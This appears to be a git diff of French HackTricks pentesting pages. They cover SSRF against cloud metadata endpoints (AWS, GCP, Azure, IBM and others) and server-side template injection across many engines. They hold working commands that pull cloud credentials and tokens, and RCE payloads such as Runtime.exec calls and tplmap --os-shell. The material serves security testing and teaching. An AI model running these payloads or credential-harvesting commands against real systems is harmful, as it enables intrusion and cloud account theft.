Notez que si l'instance EC2 impose IMDSv2, [**selon la documentation**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), la **réponse de la requête PUT** aura une **limite de saut de 1**, rendant impossible l'accès à la métadonnée EC2 depuis un conteneur à l'intérieur de l'instance EC2.
|
||||
|
||||
De plus, **IMDSv2** bloquera également les requêtes pour récupérer un jeton qui incluent l'en-tête `X-Forwarded-For`. Cela est fait pour empêcher les proxies inverses mal configurés d'y accéder.
|
||||
De plus, **IMDSv2** bloquera également les requêtes pour récupérer un jeton qui incluent l'en-tête `X-Forwarded-For`. Cela vise à empêcher les proxies inverses mal configurés de pouvoir y accéder.
|
||||
{% endhint %}
|
||||
|
||||
Vous pouvez trouver des informations sur les [points de terminaison de métadonnées dans la documentation](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html). Dans le script suivant, certaines informations intéressantes en sont extraites :
|
||||
|
@ -119,12 +119,12 @@ Remarquez le **aws\_session\_token**, c'est indispensable pour que le profil fon
|
|||
|
||||
Si vous accédez à _**http://169.254.170.2/v2/credentials/\<GUID>**_ vous trouverez les informations d'identification de la machine ECS. Mais d'abord, vous devez **trouver le \<GUID>**. Pour trouver le \<GUID>, vous devez lire la variable **environ** **AWS\_CONTAINER\_CREDENTIALS\_RELATIVE\_URI** à l'intérieur de la machine.\
|
||||
Vous pourriez être en mesure de le lire en exploitant une **traversal de chemin** vers `file:///proc/self/environ`\
|
||||
L'adresse http mentionnée devrait vous donner l'**AccessKey, SecretKey et le jeton**.
|
||||
L'adresse http mentionnée devrait vous donner les **AccessKey, SecretKey et token**.
|
||||
```bash
|
||||
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -
|
||||
```
|
||||
{% hint style="info" %}
|
||||
Notez que dans **certains cas**, vous pourrez accéder à l'**instance de métadonnées EC2** à partir du conteneur (vérifiez les limitations de TTL IMDSv2 mentionnées précédemment). Dans ces scénarios, à partir du conteneur, vous pourriez accéder à la fois au rôle IAM du conteneur et au rôle IAM EC2.
|
||||
Notez que dans **certains cas** vous pourrez accéder à l'**instance de métadonnées EC2** depuis le conteneur (vérifiez les limitations de TTL IMDSv2 mentionnées précédemment). Dans ces scénarios, à partir du conteneur, vous pourriez accéder à la fois au rôle IAM du conteneur et au rôle IAM EC2.
|
||||
{% endhint %}
|
||||
|
||||
### SSRF pour AWS Lambda <a href="#id-6f97" id="id-6f97"></a>
|
||||
|
@ -137,7 +137,7 @@ Les **noms** des **variables d'environnement intéressantes** sont :
|
|||
* `AWS_SECRET_ACCESS_KEY`
|
||||
* `AWS_ACCES_KEY_ID`
|
||||
|
||||
De plus, en plus des informations d'identification IAM, les fonctions Lambda ont également des **données d'événement qui sont transmises à la fonction lors de son démarrage**. Ces données sont mises à la disposition de la fonction via l'[interface d'exécution](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html) et pourraient contenir des **informations sensibles** (comme à l'intérieur des **stageVariables**). Contrairement aux informations d'identification IAM, ces données sont accessibles via SSRF standard à **`http://localhost:9001/2018-06-01/runtime/invocation/next`**.
|
||||
De plus, en plus des informations d'identification IAM, les fonctions Lambda ont également des **données d'événement qui sont transmises à la fonction lors de son démarrage**. Ces données sont mises à la disposition de la fonction via l'[interface d'exécution](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html) et pourraient contenir des **informations sensibles** (comme à l'intérieur des **stageVariables**). Contrairement aux informations d'identification IAM, ces données sont accessibles via une SSRF standard à **`http://localhost:9001/2018-06-01/runtime/invocation/next`**.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Notez que les **informations d'identification lambda** se trouvent dans les **variables d'environnement**. Ainsi, si la **trace de la pile** du code lambda imprime les variables d'environnement, il est possible de les **exfiltrer en provoquant une erreur** dans l'application.
|
||||
|
@ -174,10 +174,10 @@ Points de terminaison intéressants pour extraire des informations :
|
|||
```bash
|
||||
# /project
|
||||
# Project name and number
|
||||
curl -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
|
||||
curl -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id
|
||||
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
|
||||
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id
|
||||
# Project attributes
|
||||
curl -H "X-Google-Metadata-Request: True" http://metadata/computeMetadata/v1/project/attributes/?recursive=true
|
||||
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/attributes/?recursive=true
|
||||
|
||||
# /oslogin
|
||||
# users
|
||||
|
@ -191,17 +191,17 @@ curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslog
|
|||
|
||||
# /instance
|
||||
# Description
|
||||
curl -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/description
|
||||
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/description
|
||||
# Hostname
|
||||
curl -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/hostname
|
||||
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/hostname
|
||||
# ID
|
||||
curl -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
|
||||
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
|
||||
# Image
|
||||
curl -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/image
|
||||
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/image
|
||||
# Machine Type
|
||||
curl -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/machine-type
|
||||
curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/machine-type
|
||||
# Name
|
||||
curl -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/name
|
||||
curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/name
|
||||
# Tags
|
||||
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/scheduling/tags
|
||||
# Zone
|
||||
|
@ -275,9 +275,9 @@ Extraire le jeton
|
|||
```
|
||||
http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json
|
||||
```
|
||||
Vérifiez la portée du jeton
|
||||
```
|
||||
$ curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA {
|
||||
Vérifiez la portée du jeton (avec la sortie précédente ou en exécutant ce qui suit)
|
||||
```bash
|
||||
curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA {
|
||||
"issued_to": "101302079XXXXX",
|
||||
"audience": "10130207XXXXX",
|
||||
"scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring",
|
||||
|
@ -296,10 +296,37 @@ curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCo
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
## Fonctions Cloud <a href="#id-9f1f" id="id-9f1f"></a>
|
||||
|
||||
L'endpoint de métadonnées fonctionne de la même manière que dans les VM mais sans certains endpoints:
|
||||
```bash
|
||||
# /project
|
||||
# Project name and number
|
||||
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
|
||||
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id
|
||||
|
||||
# /instance
|
||||
# ID
|
||||
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
|
||||
# Zone
|
||||
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
|
||||
# Auto MTLS config
|
||||
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/platform-security/auto-mtls-configuration
|
||||
# Service Accounts
|
||||
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
|
||||
echo " Name: $sa"
|
||||
echo " Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
|
||||
echo " Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
|
||||
echo " Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
|
||||
echo " Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
|
||||
echo " Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
|
||||
echo " ============== "
|
||||
done
|
||||
```
|
||||
## Digital Ocean <a href="#id-9f1f" id="id-9f1f"></a>
|
||||
|
||||
{% hint style="warning" %}
|
||||
Il n'y a pas de choses comme les rôles AWS ou les comptes de service GCP, donc ne vous attendez pas à trouver des informations d'identification de métadonnées
|
||||
Il n'y a pas de choses comme les rôles AWS ou les comptes de service GCP, donc ne vous attendez pas à trouver des informations d'identification de bot dans les métadonnées
|
||||
{% endhint %}
|
||||
|
||||
Documentation disponible à [`https://developers.digitalocean.com/documentation/metadata/`](https://developers.digitalocean.com/documentation/metadata/)
|
||||
|
@ -373,9 +400,12 @@ $userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "h
|
|||
/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text
|
||||
/metadata/instance/compute/userData?api-version=2021-01-01&format=text
|
||||
```
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
### Azure App Service
|
||||
|
||||
À partir de l'**env**, vous pouvez obtenir les valeurs de `IDENTITY_HEADER` _et_ `IDENTITY_ENDPOINT`. Que vous pouvez utiliser pour obtenir un jeton pour communiquer avec le serveur de métadonnées.
|
||||
À partir de **env**, vous pouvez obtenir les valeurs de `IDENTITY_HEADER` _et_ `IDENTITY_ENDPOINT`. Vous pouvez les utiliser pour récupérer un jeton afin de communiquer avec le serveur de métadonnées.
|
||||
|
||||
La plupart du temps, vous voulez un jeton pour l'une de ces ressources :
|
||||
|
||||
|
@ -454,7 +484,7 @@ Microsoft.Azure.Commands.ResourceManager.Cmdlets.Implementation.GetAzureResource
|
|||
## IBM Cloud <a href="#id-2af0" id="id-2af0"></a>
|
||||
|
||||
{% hint style="warning" %}
|
||||
Notez que par défaut, les métadonnées ne sont pas activées dans IBM, il est donc possible que vous ne puissiez pas y accéder même si vous êtes à l'intérieur d'une machine virtuelle IBM Cloud.
|
||||
Notez qu'avec IBM, par défaut, les métadonnées ne sont pas activées, il est donc possible que vous ne puissiez pas y accéder même si vous êtes à l'intérieur d'une machine virtuelle IBM Cloud.
|
||||
{% endhint %}
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
|
@ -483,58 +513,63 @@ curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instanc
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
La documentation des services de métadonnées de différentes plateformes est décrite ci-dessous, mettant en évidence les méthodes permettant d'accéder aux informations de configuration et d'exécution des instances. Chaque plateforme propose des points de terminaison uniques pour accéder à ses services de métadonnées.
|
||||
Documentation for various platforms' metadata services is outlined below, highlighting the methods through which configuration and runtime information for instances can be accessed. Each platform offers unique endpoints to access its metadata services.
|
||||
|
||||
## Packetcloud
|
||||
|
||||
Pour accéder aux métadonnées de Packetcloud, la documentation est disponible à l'adresse suivante :
|
||||
[https://metadata.packet.net/userdata](https://metadata.packet.net/userdata)
|
||||
Pour accéder aux métadonnées de Packetcloud, la documentation se trouve à l'adresse suivante : [https://metadata.packet.net/userdata](https://metadata.packet.net/userdata)
|
||||
|
||||
## OpenStack/RackSpace
|
||||
|
||||
La nécessité d'un en-tête n'est pas mentionnée. Les métadonnées peuvent être consultées via :
|
||||
- `http://169.254.169.254/openstack`
|
||||
|
||||
* `http://169.254.169.254/openstack`
|
||||
|
||||
## HP Helion
|
||||
|
||||
La nécessité d'un en-tête n'est pas mentionnée ici non plus. Les métadonnées sont accessibles à l'adresse :
|
||||
- `http://169.254.169.254/2009-04-04/meta-data/`
|
||||
|
||||
* `http://169.254.169.254/2009-04-04/meta-data/`
|
||||
|
||||
## Oracle Cloud
|
||||
|
||||
Oracle Cloud propose une série de points de terminaison pour accéder à divers aspects des métadonnées :
|
||||
- `http://192.0.0.192/latest/`
|
||||
- `http://192.0.0.192/latest/user-data/`
|
||||
- `http://192.0.0.192/latest/meta-data/`
|
||||
- `http://192.0.0.192/latest/attributes/`
|
||||
|
||||
* `http://192.0.0.192/latest/`
|
||||
* `http://192.0.0.192/latest/user-data/`
|
||||
* `http://192.0.0.192/latest/meta-data/`
|
||||
* `http://192.0.0.192/latest/attributes/`
|
||||
|
||||
## Alibaba
|
||||
|
||||
Alibaba propose des points de terminaison pour accéder aux métadonnées, y compris les identifiants d'instance et d'image :
|
||||
- `http://100.100.100.200/latest/meta-data/`
|
||||
- `http://100.100.100.200/latest/meta-data/instance-id`
|
||||
- `http://100.100.100.200/latest/meta-data/image-id`
|
||||
|
||||
* `http://100.100.100.200/latest/meta-data/`
|
||||
* `http://100.100.100.200/latest/meta-data/instance-id`
|
||||
* `http://100.100.100.200/latest/meta-data/image-id`
|
||||
|
||||
## Kubernetes ETCD
|
||||
|
||||
Kubernetes ETCD peut contenir des clés API, des adresses IP internes et des ports. L'accès est démontré via :
|
||||
- `curl -L http://127.0.0.1:2379/version`
|
||||
- `curl http://127.0.0.1:2379/v2/keys/?recursive=true`
|
||||
|
||||
* `curl -L http://127.0.0.1:2379/version`
|
||||
* `curl http://127.0.0.1:2379/v2/keys/?recursive=true`
|
||||
|
||||
## Docker
|
||||
|
||||
Les métadonnées Docker peuvent être consultées localement, avec des exemples donnés pour la récupération d'informations sur les conteneurs et les images :
|
||||
- Exemple simple pour accéder aux métadonnées des conteneurs et des images via le socket Docker :
|
||||
- `docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash`
|
||||
- À l'intérieur du conteneur, utilisez curl avec le socket Docker :
|
||||
- `curl --unix-socket /var/run/docker.sock http://foo/containers/json`
|
||||
- `curl --unix-socket /var/run/docker.sock http://foo/images/json`
|
||||
|
||||
* Exemple simple pour accéder aux métadonnées des conteneurs et des images via le socket Docker :
|
||||
* `docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash`
|
||||
* À l'intérieur du conteneur, utilisez curl avec le socket Docker :
|
||||
* `curl --unix-socket /var/run/docker.sock http://foo/containers/json`
|
||||
* `curl --unix-socket /var/run/docker.sock http://foo/images/json`
|
||||
|
||||
## Rancher
|
||||
|
||||
Les métadonnées de Rancher peuvent être consultées en utilisant :
|
||||
- `curl http://rancher-metadata/<version>/<path>`
|
||||
|
||||
* `curl http://rancher-metadata/<version>/<path>`
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -551,7 +586,7 @@ Autres façons de soutenir HackTricks :
|
|||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -4,12 +4,12 @@
|
|||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks:
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
@ -24,30 +24,31 @@ Autres façons de soutenir HackTricks:
|
|||
|
||||
L'injection de modèle côté serveur est une vulnérabilité qui se produit lorsqu'un attaquant peut injecter du code malveillant dans un modèle qui est exécuté sur le serveur. Cette vulnérabilité peut être trouvée dans diverses technologies, y compris Jinja.
|
||||
|
||||
Jinja est un moteur de modèle populaire utilisé dans les applications web. Considérons un exemple qui illustre un extrait de code vulnérable utilisant Jinja:
|
||||
Jinja est un moteur de modèle populaire utilisé dans les applications web. Considérons un exemple qui illustre un extrait de code vulnérable utilisant Jinja :
|
||||
```python
|
||||
output = template.render(name=request.args.get('name'))
|
||||
```
|
||||
Dans ce code vulnérable, le paramètre `name` de la requête de l'utilisateur est directement passé dans le modèle à l'aide de la fonction `render`. Cela pourrait potentiellement permettre à un attaquant d'injecter du code malveillant dans le paramètre `name`, entraînant une injection de modèle côté serveur.
|
||||
Dans ce code vulnérable, le paramètre `name` de la requête de l'utilisateur est directement transmis au modèle en utilisant la fonction `render`. Cela pourrait potentiellement permettre à un attaquant d'injecter du code malveillant dans le paramètre `name`, entraînant une injection de modèle côté serveur.
|
||||
|
||||
Par exemple, un attaquant pourrait créer une requête avec une charge utile comme ceci:
|
||||
Par exemple, un attaquant pourrait créer une requête avec une charge utile comme ceci :
|
||||
```
|
||||
http://vulnerable-website.com/?name={{bad-stuff-here}}
|
||||
```
|
||||
Le payload `{{mauvaises-informations-ici}}` est injecté dans le paramètre `name`. Ce payload peut contenir des directives de modèle Jinja qui permettent à l'attaquant d'exécuter du code non autorisé ou de manipuler le moteur de modèle, potentiellement prenant le contrôle du serveur.
|
||||
Le payload `{{bad-stuff-here}}` est injecté dans le paramètre `name`. Ce payload peut contenir des directives de modèle Jinja qui permettent à l'attaquant d'exécuter du code non autorisé ou de manipuler le moteur de modèle, potentiellement prenant le contrôle du serveur.
|
||||
|
||||
Pour prévenir les vulnérabilités d'injection de modèle côté serveur, les développeurs doivent s'assurer que les entrées utilisateur sont correctement nettoyées et validées avant d'être insérées dans les modèles. Mettre en place une validation des entrées et utiliser des techniques d'échappement conscientes du contexte peut aider à atténuer le risque de cette vulnérabilité.
|
||||
Pour prévenir les vulnérabilités d'injection de modèle côté serveur, les développeurs doivent s'assurer que les entrées utilisateur sont correctement nettoyées et validées avant d'être insérées dans les modèles. Mettre en place une validation des entrées et utiliser des techniques d'échappement contextuel peuvent aider à atténuer le risque de cette vulnérabilité.
|
||||
|
||||
### Détection
|
||||
|
||||
Pour détecter l'injection de modèle côté serveur (SSTI), initialement, **le fuzzing du modèle** est une approche directe. Cela implique d'injecter une séquence de caractères spéciaux (**`${{<%[%'"}}%\`**) dans le modèle et d'analyser les différences dans la réponse du serveur entre des données régulières et cette charge spéciale. Les indicateurs de vulnérabilité comprennent :
|
||||
|
||||
- Des erreurs renvoyées, révélant la vulnérabilité et potentiellement le moteur de modèle.
|
||||
- L'absence de la charge dans la réflexion, ou des parties manquantes, impliquant que le serveur la traite différemment des données régulières.
|
||||
- Absence de la charge dans la réflexion, ou des parties manquantes, impliquant que le serveur la traite différemment des données régulières.
|
||||
- **Contexte en texte brut** : Différencier des XSS en vérifiant si le serveur évalue les expressions de modèle (par exemple, `{{7*7}}`, `${7*7}`).
|
||||
- **Contexte de code** : Confirmer la vulnérabilité en modifiant les paramètres d'entrée. Par exemple, changer `greeting` dans `http://vulnerable-website.com/?greeting=data.username` pour voir si la sortie du serveur est dynamique ou fixe, comme dans `greeting=data.username}}hello` renvoyant le nom d'utilisateur.
|
||||
|
||||
- **Contexte en texte brut** : Différenciez des XSS en vérifiant si le serveur évalue les expressions de modèle (par exemple, `{{7*7}}`, `${7*7}`).
|
||||
#### Phase d'identification
|
||||
|
||||
- **Contexte de code** : Confirmez la vulnérabilité en modifiant les paramètres d'entrée. Par exemple, en changeant `greeting` dans `http://vulnerable-website.com/?greeting=data.username` pour voir si la sortie du serveur est dynamique ou fixe, comme dans `greeting=data.username}}hello` renvoyant le nom d'utilisateur.
|
||||
|
||||
#### Phase d'Identification
|
||||
Identifier le moteur de modèle implique d'analyser les messages d'erreur ou de tester manuellement diverses charges spécifiques à chaque langage. Les charges courantes provoquant des erreurs incluent `${7/0}`, `{{7/0}}`, et `<%= 7/0 %>`. Observer la réponse du serveur aux opérations mathématiques aide à cibler le moteur de modèle spécifique.
|
||||
|
||||
## Outils
|
||||
|
@ -71,9 +72,9 @@ python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
|
|||
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
|
||||
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade
|
||||
```
|
||||
### [Tableau d'injection de modèle](https://github.com/Hackmanit/template-injection-table)
|
||||
### [Tableau d'injection de modèles](https://github.com/Hackmanit/template-injection-table)
|
||||
|
||||
un tableau interactif contenant les polyglottes d'injection de modèle les plus efficaces ainsi que les réponses attendues des 44 moteurs de modèle les plus importants.
|
||||
un tableau interactif contenant les polyglottes d'injection de modèles les plus efficaces ainsi que les réponses attendues des 44 moteurs de modèles les plus importants.
|
||||
|
||||
## Exploits
|
||||
|
||||
|
@ -156,18 +157,20 @@ $str.valueOf($chr.toChars($out.read()))
|
|||
|
||||
Dans Thymeleaf, un test courant pour les vulnérabilités SSTI est l'expression `${7*7}`, qui s'applique également à ce moteur de template. Pour une éventuelle exécution de code à distance, des expressions comme celles-ci peuvent être utilisées :
|
||||
|
||||
- SpringEL :
|
||||
* SpringEL:
|
||||
|
||||
```java
|
||||
${T(java.lang.Runtime).getRuntime().exec('calc')}
|
||||
```
|
||||
- OGNL :
|
||||
* OGNL:
|
||||
|
||||
```java
|
||||
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
|
||||
```
|
||||
|
||||
Thymeleaf exige que ces expressions soient placées dans des attributs spécifiques. Cependant, l'_insertion d'expression_ est prise en charge pour d'autres emplacements de template, en utilisant une syntaxe comme `[[...]]` ou `[(...)]`. Ainsi, un simple payload de test SSTI pourrait ressembler à `[[${7*7}]]`.
|
||||
Thymeleaf exige que ces expressions soient placées dans des attributs spécifiques. Cependant, l'_insertion d'expression_ est prise en charge pour d'autres emplacements de template, en utilisant une syntaxe comme `[[...]]` ou `[(...)]`. Ainsi, une charge utile de test SSTI simple pourrait ressembler à `[[${7*7}]]`.
|
||||
|
||||
Cependant, la probabilité que ce payload fonctionne est généralement faible. La configuration par défaut de Thymeleaf ne prend pas en charge la génération dynamique de templates ; les templates doivent être prédéfinis. Les développeurs devraient implémenter leur propre `TemplateResolver` pour créer des templates à partir de chaînes à la volée, ce qui est rare.
|
||||
Cependant, la probabilité que cette charge utile fonctionne est généralement faible. La configuration par défaut de Thymeleaf ne prend pas en charge la génération dynamique de templates ; les templates doivent être prédéfinis. Les développeurs devraient implémenter leur propre `TemplateResolver` pour créer des templates à partir de chaînes à la volée, ce qui est rare.
|
||||
|
||||
Thymeleaf offre également un _prétraitement des expressions_, où les expressions entre doubles tirets bas (`__...__`) sont prétraitées. Cette fonctionnalité peut être utilisée dans la construction d'expressions, comme le montre la documentation de Thymeleaf :
|
||||
```java
|
||||
|
@ -264,6 +267,7 @@ Nouvelle version de Pebble :
|
|||
{% endraw %}
|
||||
|
||||
|
||||
|
||||
{% set bytes = (1).TYPE
|
||||
.forName('java.lang.Runtime')
|
||||
.methods[6]
|
||||
|
@ -278,7 +282,7 @@ Nouvelle version de Pebble :
|
|||
```
|
||||
### Jinjava (Java)
|
||||
|
||||
Jinjava est un moteur de template Java qui prend en charge l'injection de template côté serveur (SSTI). Il est utilisé dans divers frameworks Java tels que Spring Boot. Les SSTI peuvent être exploités pour exécuter du code côté serveur et potentiellement compromettre tout le système. Soyez conscient de cette vulnérabilité lors du développement d'applications utilisant Jinjava.
|
||||
Jinjava est un moteur de template Java qui prend en charge l'injection de template côté serveur (SSTI). Il est utilisé pour traiter les modèles et peut être vulnérable aux attaques SSTI si les entrées des utilisateurs ne sont pas correctement validées. Jinjava est souvent utilisé dans les applications Java pour générer des documents dynamiques en utilisant des modèles.
|
||||
```java
|
||||
{{'a'.toUpperCase()}} would result in 'A'
|
||||
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206
|
||||
|
@ -366,11 +370,11 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc
|
|||
|
||||
Le Langage d'Expression (EL) est une fonctionnalité fondamentale qui facilite l'interaction entre la couche de présentation (comme les pages web) et la logique de l'application (comme les beans gérés) en JavaEE. Il est largement utilisé dans de multiples technologies JavaEE pour rationaliser cette communication. Les principales technologies JavaEE utilisant EL incluent :
|
||||
|
||||
- **JavaServer Faces (JSF)** : Utilise EL pour lier les composants des pages JSF aux données et actions backend correspondantes.
|
||||
- **JavaServer Pages (JSP)** : EL est utilisé dans JSP pour accéder et manipuler les données au sein des pages JSP, facilitant la connexion des éléments de la page aux données de l'application.
|
||||
- **Contexts and Dependency Injection for Java EE (CDI)** : EL s'intègre à CDI pour permettre une interaction transparente entre la couche web et les beans gérés, assurant une structure d'application plus cohérente.
|
||||
* **JavaServer Faces (JSF)** : Utilise EL pour lier les composants des pages JSF aux données et actions backend correspondantes.
|
||||
* **JavaServer Pages (JSP)** : EL est utilisé dans JSP pour accéder et manipuler les données au sein des pages JSP, facilitant la connexion des éléments de la page aux données de l'application.
|
||||
* **Contexts and Dependency Injection for Java EE (CDI)** : EL s'intègre à CDI pour permettre une interaction transparente entre la couche web et les beans gérés, assurant une structure d'application plus cohérente.
|
||||
|
||||
Consultez la page suivante pour en savoir plus sur l'**exploitation des interpréteurs EL** :
|
||||
Consultez la page suivante pour en savoir plus sur l'**exploitation des interprètes EL** :
|
||||
|
||||
{% content-ref url="el-expression-language.md" %}
|
||||
[el-expression-language.md](el-expression-language.md)
|
||||
|
@ -378,7 +382,7 @@ Consultez la page suivante pour en savoir plus sur l'**exploitation des interpr
|
|||
|
||||
### Groovy (Java)
|
||||
|
||||
Les contournements du gestionnaire de sécurité suivants ont été extraits de ce [**rapport**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/).
|
||||
Les contournements du gestionnaire de sécurité suivants ont été extraits de ce [**article**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/).
|
||||
```java
|
||||
//Basic Payload
|
||||
import groovy.*;
|
||||
|
@ -411,7 +415,6 @@ this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 1
|
|||
|
||||
##
|
||||
|
||||
|
||||
### Smarty (PHP)
|
||||
```php
|
||||
{$smarty.version}
|
||||
|
@ -503,6 +506,7 @@ Modèle de mise en page :
|
|||
</html>
|
||||
```
|
||||
**Plus d'informations**
|
||||
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#plates](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#plates)
|
||||
|
||||
### PHPlib et HTML\_Template\_PHPLIB (PHP)
|
||||
|
@ -564,7 +568,8 @@ echo $t->finish($t->parse('OUT', 'authors'));
|
|||
?>
|
||||
```
|
||||
**Plus d'informations**
|
||||
